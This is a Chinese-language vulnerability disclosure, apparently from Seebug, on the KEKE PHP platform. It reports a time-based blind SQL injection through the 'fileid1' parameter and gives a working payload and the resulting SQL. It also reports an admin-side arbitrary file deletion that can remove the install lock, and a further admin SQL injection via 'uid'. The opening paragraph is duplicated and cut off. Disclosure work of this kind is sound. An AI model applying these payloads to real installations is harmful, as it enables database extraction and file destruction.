### 简要描述: SQL. ### 详细说明: 问题出现在 \lib\sys\keke_shop_release_class.php 的save_service_obj函数中 部分代码如下 ``` public function save_service_obj($release_info = array(), $obj_name) { global $kekezu; if ($release_info ['step1'] == 'step1') { if ($_POST ['fileid1']) { $fileIdArr = explode('|', $_POST ['fileid1']); if(is_array($fileIdArr)){ $fileIdStr = implode(',', $fileIdArr); $filePathArr = db_factory::query('select save_name from '.TABLEPRE.'witkey_file where file_id in ('.$fileIdStr.')'); if($filePathArr){ foreach ($filePathArr as $v) { $filePathStr.=','.$v['save_name']; } $filePathStr = substr($filePathStr, 1); $pic = kekezu::escape ( $filePathStr ); $release_info ['pic_patch'] = $pic; } }else{ $filePathArr = db_factory::get_one('select save_name from '.TABLEPRE.'witkey_file where file_id = '.intval($_POST ['fileid1'])); $filePathStr = $filePathArr['save_name']; $pic = kekezu::escape ( $filePathStr ); $release_info ['pic_patch'] = $pic; } } } empty ( $release_info ) or...
### 简要描述: SQL. ### 详细说明: 问题出现在 \lib\sys\keke_shop_release_class.php 的save_service_obj函数中 部分代码如下 ``` public function save_service_obj($release_info = array(), $obj_name) { global $kekezu; if ($release_info ['step1'] == 'step1') { if ($_POST ['fileid1']) { $fileIdArr = explode('|', $_POST ['fileid1']); if(is_array($fileIdArr)){ $fileIdStr = implode(',', $fileIdArr); $filePathArr = db_factory::query('select save_name from '.TABLEPRE.'witkey_file where file_id in ('.$fileIdStr.')'); if($filePathArr){ foreach ($filePathArr as $v) { $filePathStr.=','.$v['save_name']; } $filePathStr = substr($filePathStr, 1); $pic = kekezu::escape ( $filePathStr ); $release_info ['pic_patch'] = $pic; } }else{ $filePathArr = db_factory::get_one('select save_name from '.TABLEPRE.'witkey_file where file_id = '.intval($_POST ['fileid1'])); $filePathStr = $filePathArr['save_name']; $pic = kekezu::escape ( $filePathStr ); $release_info ['pic_patch'] = $pic; } } } empty ( $release_info ) or $this->_std_obj->_release_info = $release_info; $_SESSION [$obj_name] = serialize ( $this->_std_obj ); } ``` ``` $filePathArr = db_factory::query('select save_name from '.TABLEPRE.'witkey_file where file_id in ('.$fileIdStr.')'); ``` 此处fileIdStr无单引号保护。 往上看 依次经过 $fileIdArr = explode('|', $_POST ['fileid1']); $fileIdStr = implode(',', $fileIdArr); 得到fileIdStr 此处只进行了简单的数组判断和提取 传入参数 ``` fileid1=1) and if(((ascii(substring(user(),1,1)))=114),sleep(10),1);#| ``` 则$fileIdArr = ('1) and if(((ascii(substring(user(),1,1)))=114),sleep(10),1);#','') $fileIdStr = '1) and if(((ascii(substring(user(),1,1)))=114),sleep(10),1);#' 最后拼接的sql即为 ``` select save_name from '.TABLEPRE.'witkey_file where file_id in (1) and if(((ascii(substring(user(),1,1)))=114),sleep(10),1);#) ``` 成功带入查询延时注入 看看哪几个地方引用了它: [<img src="https://images.seebug.org/upload/201509/262345079132da1280e62f871206ec575eeb2684.png" alt="截图1443282245.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201509/262345079132da1280e62f871206ec575eeb2684.png) 拿第一个做证明 shop\goods\control\pub.php 即发布商品,首先登陆, [<img src="https://images.seebug.org/upload/201509/2623493723470f50f4b12d01f03ccdffc02996dd.png" alt="~@49[GNSOB3Z{Z9}`PH%88B.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201509/2623493723470f50f4b12d01f03ccdffc02996dd.png) 随便填写信息,提交抓包 [<img src="https://images.seebug.org/upload/201509/2623521842f06af95a8745dac4a9c0174739f179.png" alt="_M2FH4PDOQ7(N0NYOS`DPZ4.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201509/2623521842f06af95a8745dac4a9c0174739f179.png) 直接在fileid1参数后追加要注入的语句 [<img src="https://images.seebug.org/upload/201509/26235504f492d518b501398817258028f1887e94.jpg" alt="DMP]3LAD$IROW66))KDDL%N.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201509/26235504f492d518b501398817258028f1887e94.jpg) 成功执行。 其余6点原理相同, 再来说说后台的 问题函数在 lib\inc\CommonClass.php 的delFileBySavename函数 ``` public static function delFileBySavename($savename){ if(!$savename){ return false; } db_factory::execute("DELETE FROM `".TABLEPRE."witkey_file` WHERE (`save_name`='{$savename}')"); $filename = S_ROOT.'/'.$savename; if(file_exists($filename)){ unlink($filename); } return true; } ``` 很明显,传入的savename可控即可删除任意文件,来看看引用该函数的地方 向上追踪 [<img src="https://images.seebug.org/upload/201509/27000106a2f5b89b9f25322e9182e54d148b5e17.png" alt="}OOL_R]8%8}3I361]QM1U3F.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201509/27000106a2f5b89b9f25322e9182e54d148b5e17.png) 即lib\sys\keke_shop_class.php 的 delServiceFiles函数, 部分代码如下: ``` public static function delServiceFiles($service_id,$filename,$type){ $service_info = db_factory::get_one(sprintf("select * from %switkey_service where service_id='%d' ",TABLEPRE,intval($service_id))); $filelist = array(); if($type =='pic'){ if($service_info['pic']){ $filelist = explode(',', $service_info['pic']); } }else{ if($service_info['file_path']){ $filelist = explode(',', $service_info['file_path']); } } if($filelist){ CommonClass::delFileBySavename($filename); $newlist = array(); foreach ($filelist as $k=>$v){ if($filename != $v){ $newlist[]=$v; } } } ``` 同样没有针对$filename进行处理 再向上追踪 [<img src="https://images.seebug.org/upload/201509/270003169f4290b2244b0f02501b07fbfe91fd67.png" alt="B5`_M[5$`5JAQ4LMQ%_Z_Q6.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201509/270003169f4290b2244b0f02501b07fbfe91fd67.png) 来看看第一处: [<img src="https://images.seebug.org/upload/201509/27000416045fa18eb36522f92a532465aafdca8d.png" alt="E3}0B_%GXFT$Y}JM8PY8WXW.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201509/27000416045fa18eb36522f92a532465aafdca8d.png) 依然没有任何过滤,此处不证明了,虽然可以删除安装lock.毕竟是后台权限。还是比较鸡肋的, 第二处同上 最后给一个超级明显的后台注入点凑十个问题: auth\enterprise\admin\auth_list.php 第18,19行 ``` $uid=$_GET['uid']; $strSql="select * from ".TABLEPRE."witkey_space where uid=".$uid; ``` 太明显,就不证明了。 ### 漏洞证明: 如上。